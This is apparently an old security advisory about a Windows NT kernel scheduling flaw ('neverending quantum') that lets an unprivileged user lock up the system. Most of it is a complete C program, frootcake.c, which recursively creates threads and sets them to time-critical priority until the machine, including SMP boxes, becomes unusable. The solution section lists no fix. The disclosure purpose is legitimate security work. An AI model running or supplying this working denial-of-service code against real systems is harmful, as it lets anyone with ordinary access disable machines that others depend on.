COMMAND

    kernel

SYSTEMS AFFECTED

    WinNT

PROBLEM

    kiva posted following.  It is just an exploit for the 'neverending
    quantum' bug that's been known for ages.  See

        http://www.sysinternals.com/tips.htm#NEQuantum

    It has nothing  to do with  the number of  threads running (except
    that you need at  least one per CPU).   It basically locks up  the
    system with an inability to  kill the process because (one)  never
    gets the task manager up.   Pretty bad since an ordinary user  can
    run it.

    /*
     * frootcake.c
     * kiva@wookey.org
     *
     * this tests NT at coping with *really dodgy* code...
     * it totally brings my SMP box to being unusable (SP5)
     */

    #include <windows.h>
    #include <stdio.h>

    void poobah();

    DWORD WINAPI thread_func (LPVOID lpv)
    {
        DWORD id;
        HANDLE h;
        BOOL success = 1;

        h = CreateThread (NULL, 0, thread_func, (LPVOID)0, 0, &id);

        while (success){
            switch (GetThreadPriority (h)){
            case THREAD_PRIORITY_ABOVE_NORMAL:
                success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
                break;
            case THREAD_PRIORITY_BELOW_NORMAL:
                success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
                break;
            case THREAD_PRIORITY_HIGHEST:
                success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
                break;
            case THREAD_PRIORITY_IDLE:
                success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
                break;
            case THREAD_PRIORITY_LOWEST:
                success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
                break;
            case THREAD_PRIORITY_NORMAL:
                success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
                break;
            }
        }

        poobah();
        return 0;
    }

    void poobah()
    {
        DWORD id;
        HANDLE h;

        h = CreateThread (NULL, 0, thread_func, (LPVOID)0, 0, &id);
        SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);

        poobah();
    }

    int main ()
    {
        printf ("frootcake - kiva@wookey.org\n");
        poobah();
        return 0;
    }

SOLUTION

    Nothing yet.